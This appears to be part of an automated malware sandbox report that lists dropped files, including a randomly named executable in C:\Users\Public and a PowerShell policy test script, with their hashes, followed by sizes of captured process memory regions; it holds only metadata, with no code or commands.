C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
70595b5937369a2592a524db67e208d3

SHA1
d989b934d9388104189f365694e794835aa6f52f

SHA256
be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8

SHA512
edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gesj51vy.025.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\gvpttllrilhpexthxdz.exe

Filesize
607KB

MD5
0854c389689bb92cf7463197df6dd98e

SHA1
d636129847d4c92a8b6aa15ab7a75ee857c7c9b8

SHA256
2779dab5ffc62d1641b00c1093798d2a56ad348168f4d973c2d92ececf0df400

SHA512
2a96a18dfa551a551ce4ac4cbefe0c4a4522284d43ae285218157042d99e294441126eb9bcaa6edd6f6875930237a77ac2a8a0fa6370f1e90a8aa701235fe322

Download Submit
memory/60-205-0x0000000005730000-0x0000000005A84000-memory.dmp

Filesize
3.3MB

Download
memory/60-207-0x0000000070290000-0x00000000702DC000-memory.dmp

Filesize
304KB

Download
memory/1660-67-0x0000000005150000-0x000000000515A000-memory.dmp

Filesize
40KB

Download
memory/1660-64-0x0000000000550000-0x00000000005EE000-memory.dmp

Filesize
632KB

Download
memory/1660-83-0x00000000064C0000-0x000000000655C000-memory.dmp

Filesize
624KB

Download
memory/1660-82-0x00000000061F0000-0x0000000006266000-memory.dmp

Filesize
472KB

Download
memory/1660-68-0x0000000005270000-0x0000000005288000-memory.dmp

Filesize
96KB

Download
memory/1660-66-0x0000000004F90000-0x0000000005022000-memory.dmp

Filesize
584KB

Download
memory/1660-65-0x0000000005540000-0x0000000005AE4000-memory.dmp

Filesize
5.6MB

Download
memory/1924-9-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-7-0x00007FF861E30000-0x00007FF861E40000-memory.dmp

Filesize
64KB

Download
memory/1924-0-0x00007FF8A1E4D000-0x00007FF8A1E4E000-memory.dmp

Filesize
4KB

Download
memory/1924-23-0x00007FF8A1E4D000-0x00007FF8A1E4E000-memory.dmp

Filesize
4KB

Download
memory/1924-13-0x00007FF85FDD0000-0x00007FF85FDE0000-memory.dmp

Filesize
64KB

Download
memory/1924-11-0x00007FF85FDD0000-0x00007FF85FDE0000-memory.dmp

Filesize
64KB

Download
memory/1924-6-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-25-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-24-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-3-0x00007FF861E30000-0x00007FF861E40000-memory.dmp

Filesize
64KB

Download
memory/1924-10-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-5-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-8-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-12-0x00007FF8A1DB0000-0x00007FF8A1FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1924-1-0x00007FF861E30000-0x00007FF861E40000-memory.dmp

Filesize
64KB

Download
memory/1924-2-0x00007FF861E30000-0x00007FF861E40000-memory.dmp

Filesize
64KB

Download
memory/1924-4-0x00007FF861E30000-0x00007FF861E40000-memory.dmp

Filesize
64KB

Download
memory/2984-84-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/3092-218-0x0000000000880000-0x0000000000887000-memory.dmp

Filesize
28KB

Download
memory/3188-130-0x0000000000470000-0x0000000000487000-memory.dmp

Filesize
92KB

Download
memory/3188-132-0x0000000000A30000-0x0000000000A5F000-memory.dmp

Filesize
188KB

Download
memory/3188-131-0x0000000000470000-0x0000000000487000-memory.dmp

Filesize
92KB

Download
memory/3416-163-0x0000000070290000-0x00000000702DC000-memory.dmp

Filesize
304KB

Download
memory/3416-173-0x0000000007050000-0x00000000070F3000-memory.dmp

Filesize
652KB

Download
memory/3416-162-0x00000000061D0000-0x000000000621C000-memory.dmp

Filesize
304KB

Download
memory/3416-160-0x0000000005990000-0x0000000005CE4000-memory.dmp

Filesize
3.3MB

Download
memory/3424-178-0x0000000009410000-0x000000000951A000-memory.dmp

Filesize
1.0MB

Download
memory/3424-195-0x0000000009410000-0x000000000951A000-memory.dmp

Filesize
1.0MB

Download
memory/4532-46-0x00000237FF2B0000-0x00000237FF2D2000-memory.dmp

Filesize
136KB

Download
memory/4772-175-0x0000000000460000-0x00000000004B7000-memory.dmp

Filesize
348KB

Download
memory/4876-92-0x0000000005870000-0x00000000058D6000-memory.dmp

Filesize
408KB

Download
memory/4876-127-0x0000000007510000-0x0000000007518000-memory.dmp

Filesize
32KB

Download
memory/4876-126-0x0000000007530000-0x000000000754A000-memory.dmp

Filesize
104KB

Download
memory/4876-125-0x0000000007430000-0x0000000007444000-memory.dmp

Filesize
80KB

Download
memory/4876-124-0x0000000007420000-0x000000000742E000-memory.dmp

Filesize
56KB

Download
memory/4876-123-0x00000000073F0000-0x0000000007401000-memory.dmp

Filesize
68KB

Download
memory/4876-122-0x0000000007470000-0x0000000007506000-memory.dmp

Filesize
600KB

Download
memory/4876-121-0x0000000007260000-0x000000000726A000-memory.dmp

Filesize
40KB

Download
memory/4876-120-0x00000000071F0000-0x000000000720A000-memory.dmp

Filesize
104KB

Download
memory/4876-119-0x0000000007870000-0x0000000007EEA000-memory.dmp

Filesize
6.5MB

Download
memory/4876-118-0x0000000006F40000-0x0000000006FE3000-memory.dmp

Filesize
652KB

Download
memory/4876-117-0x00000000064C0000-0x00000000064DE000-memory.dmp

Filesize
120KB

Download
memory/4876-107-0x00000000706E0000-0x000000007072C000-memory.dmp

Filesize
304KB

Download
memory/4876-106-0x0000000006480000-0x00000000064B2000-memory.dmp

Filesize
200KB

Download
memory/4876-105-0x0000000005F10000-0x0000000005F5C000-memory.dmp

Filesize
304KB

Download
memory/4876-104-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

Filesize
120KB

Download
memory/4876-102-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

Filesize
3.3MB

Download
memory/4876-91-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/4876-90-0x0000000004F00000-0x0000000004F22000-memory.dmp

Filesize
136KB

Download
memory/4876-88-0x0000000004FF0000-0x0000000005618000-memory.dmp

Filesize
6.2MB

Download
memory/4876-87-0x0000000004920000-0x0000000004956000-memory.dmp

Filesize
216KB

Download